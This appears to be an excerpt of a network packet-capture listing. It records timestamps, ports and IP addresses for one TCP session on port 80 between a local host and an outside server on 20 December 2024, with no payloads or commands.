Dec 20, 2024 13:12:27.666914940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.666915894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.666966915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.667855978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.667912960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.667974949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.668052912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.668900013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.668956041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.669019938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.669070959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.669998884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.670053959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.670099974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.670157909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.671108007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.671142101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.671190023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.671205044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.672092915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.672149897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.672204018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.672255039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.673116922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.673173904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.673249006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.673305035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.674155951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.674211979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.674329996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.674382925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.675239086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.675296068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.675735950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.675792933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.676321983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.676428080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.676547050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.676603079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.677512884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.677547932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.677570105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.677603960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.678361893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.678416967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.678874016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.678925037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.679425955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.679482937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.679608107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.679681063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.680481911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.680516005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.680536032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.680565119 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.681492090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.681550026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.682079077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.682142973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.682642937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.682694912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.682744026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.682797909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.683629036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.683684111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.683896065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.683952093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.684706926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.684762001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.684992075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.685045004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.685720921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.685775995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.686038017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.686094046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.687041998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.687076092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.687097073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.687128067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.687881947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.687916040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.687939882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.687967062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.689143896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.689203024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.689481974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.689538956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.690080881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.690134048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.690136909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.690187931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.691878080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.691912889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.691935062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.691965103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.692011118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.692065001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.692203999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.692259073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.693047047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.693101883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.693176031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.693231106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.694098949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.694160938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.694438934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.694494963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.695094109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.695148945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.832793951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.832892895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.832967997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.833034039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.833266020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.833328009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.833446980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.833506107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.834311008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.834373951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.834604025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.834666967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.835500002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.835560083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.835675001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.835743904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.836395979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.836457014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.836558104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.836616993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.837462902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.837529898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.837593079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.837651968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.838495970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.838553905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.838795900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.838855028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.839557886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.839617014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.839876890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.839936972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.840620041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.840678930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.840799093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.840854883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.841780901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.841841936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.841919899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.841978073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.842655897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.842715025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.842951059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.843017101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.843688011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.843746901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.843836069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.843894005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.844773054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.844832897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.845052958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.845124006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.845807076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.845870018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.846236944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.846297026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.846947908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.847008944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.847093105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.847147942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.847981930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.848041058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.848146915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.848212004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.848982096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.849040031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.849116087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.849173069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.850116968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.850153923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.850178003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.850208998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.851052999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.851113081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.851191044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.851249933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.852231026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.852293015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.852572918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.852629900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.853010893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.853070021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.853146076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.853204966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.854221106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.854337931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.854408026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.854468107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.855015993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.855081081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.855732918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.855792999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.856095076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.856158972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.856365919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.856422901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.857079029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.857131958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.857139111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.857184887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.858135939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.858195066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.859174967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.859235048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.859273911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.859308958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.859335899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.859364986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.860249996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.860307932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.860492945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.860549927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.861253023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.861444950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.862384081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.862695932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.862730026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.862783909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.863542080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.863600969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.863662004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.863718987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.864454985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.864514112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.864613056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.864669085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.865578890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.865637064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.865752935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.865804911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.866570950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.866626978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.866702080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.866755009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.867599010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.867659092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.867917061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.867974043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.868643045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.868700981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.868714094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.868767977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.869810104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.869868040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.870179892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.870235920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.870812893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.870846987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.870867968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.870897055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.871886015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.871921062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.871959925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.871978045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.872817993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.872914076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.873447895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.873503923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.873851061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.873903990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.874007940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.874068975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.875000954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.875056028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.875340939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.875391960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.875997066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.876051903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.876287937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.876343966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.877093077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.877147913 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.877284050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.877343893 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.878067017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.878123045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.878184080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.878247976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.879180908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.879237890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.879601955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.879664898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.880239010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.880295038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.880683899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.880738020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.881185055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.881241083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.881545067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.881599903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.882417917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.882471085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.882580996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.882638931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.883362055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.883459091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.883498907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.883552074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.884465933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.884521961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.885098934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.885154009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.885438919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.885493994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.885543108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.885596037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.886483908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.886538982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.886940002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.886997938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.887481928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.887541056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.024596930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.025072098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.025160074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.025193930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.025212049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.025243044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.025387049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.025423050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.025444031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.025480032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.026473045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.026508093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.026563883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.027534008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.027596951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.027657986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.027719021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.028616905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.028670073 CET	80	49859	31.41.244.11	192.168.2.5
